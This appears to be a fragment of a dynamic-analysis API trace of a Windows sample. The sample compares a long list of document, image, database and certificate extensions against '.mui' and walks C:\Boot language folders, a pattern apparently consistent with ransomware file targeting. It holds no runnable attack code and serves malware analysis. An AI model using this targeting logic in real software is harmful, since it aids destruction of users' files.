	[0037.013] lstrlenW (lpString=".mp4") returned 4
	[0037.013] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mpeg") returned 5
	[0037.013] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0037.013] lstrlenW (lpString=".mpg") returned 4
	[0037.013] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mpv") returned 4
	[0037.013] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mrw") returned 4
	[0037.013] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".msg") returned 4
	[0037.013] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mxl") returned 4
	[0037.013] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".myd") returned 4
	[0037.013] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".myi") returned 4
	[0037.013] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".nef") returned 4
	[0037.013] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".nrw") returned 4
	[0037.013] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".obj") returned 4
	[0037.013] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".odb") returned 4
	[0037.013] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0037.013] lstrlenW (lpString=".odc") returned 4
	[0037.014] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".odm") returned 4
	[0037.014] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".odp") returned 4
	[0037.014] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".ods") returned 4
	[0037.014] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".oft") returned 4
	[0037.014] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".one") returned 4
	[0037.014] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".onepkg") returned 7
	[0037.014] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0037.014] lstrlenW (lpString=".onetoc2") returned 8
	[0037.014] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0037.014] lstrlenW (lpString=".opt") returned 4
	[0037.014] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".oqy") returned 4
	[0037.014] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".orf") returned 4
	[0037.014] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".p12") returned 4
	[0037.014] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".p7b") returned 4
	[0037.014] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".p7c") returned 4
	[0037.014] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".pam") returned 4
	[0037.014] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".pbm") returned 4
	[0037.014] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".pct") returned 4
	[0037.014] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0037.014] lstrlenW (lpString=".pcx") returned 4
	[0037.015] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pdd") returned 4
	[0037.015] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pdf") returned 4
	[0037.015] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pdp") returned 4
	[0037.015] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pef") returned 4
	[0037.015] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pem") returned 4
	[0037.015] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pff") returned 4
	[0037.015] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pfm") returned 4
	[0037.015] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pfx") returned 4
	[0037.015] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".pgm") returned 4
	[0037.015] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".php") returned 4
	[0037.015] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0037.015] lstrlenW (lpString=".php3") returned 5
	[0037.015] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0037.015] lstrlenW (lpString=".php4") returned 5
	[0037.015] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0037.015] lstrlenW (lpString=".php5") returned 5
	[0037.015] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0037.015] lstrlenW (lpString=".phtml") returned 6
	[0037.015] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0037.015] lstrlenW (lpString=".pict") returned 5
	[0037.015] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0037.015] lstrlenW (lpString=".pl") returned 3
	[0037.016] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0037.016] lstrlenW (lpString=".pls") returned 4
	[0037.016] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".pm") returned 3
	[0037.016] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0037.016] lstrlenW (lpString=".png") returned 4
	[0037.016] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".pnm") returned 4
	[0037.016] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".pot") returned 4
	[0037.016] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".potm") returned 5
	[0037.016] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".potx") returned 5
	[0037.016] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".ppa") returned 4
	[0037.016] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".ppam") returned 5
	[0037.016] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".ppm") returned 4
	[0037.016] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".pps") returned 4
	[0037.016] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".ppsm") returned 5
	[0037.016] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".ppt") returned 4
	[0037.016] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".pptm") returned 5
	[0037.016] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".pptx") returned 5
	[0037.016] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0037.016] lstrlenW (lpString=".prn") returned 4
	[0037.016] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0037.016] lstrlenW (lpString=".ps") returned 3
	[0037.016] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0037.017] lstrlenW (lpString=".psb") returned 4
	[0037.017] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".psd") returned 4
	[0037.017] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".pst") returned 4
	[0037.017] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".ptx") returned 4
	[0037.017] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".pub") returned 4
	[0037.017] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".pwm") returned 4
	[0037.017] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".pxr") returned 4
	[0037.017] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".py") returned 3
	[0037.017] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0037.017] lstrlenW (lpString=".qt") returned 3
	[0037.017] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0037.017] lstrlenW (lpString=".r3d") returned 4
	[0037.017] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".raf") returned 4
	[0037.017] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".rar") returned 4
	[0037.017] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.017] lstrlenW (lpString=".raw") returned 4
	[0037.017] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0037.017] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.018] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0037.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.018] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.018] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.018] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.018] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.018] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0037.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.018] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.018] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.018] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.019] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.019] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0037.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.019] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.019] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.019] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.019] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.019] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0037.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.019] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.019] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.019] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.020] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.020] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0037.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.020] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.020] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.020] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.020] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.020] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0037.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.020] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.020] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.021] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.021] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.021] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0037.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.021] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
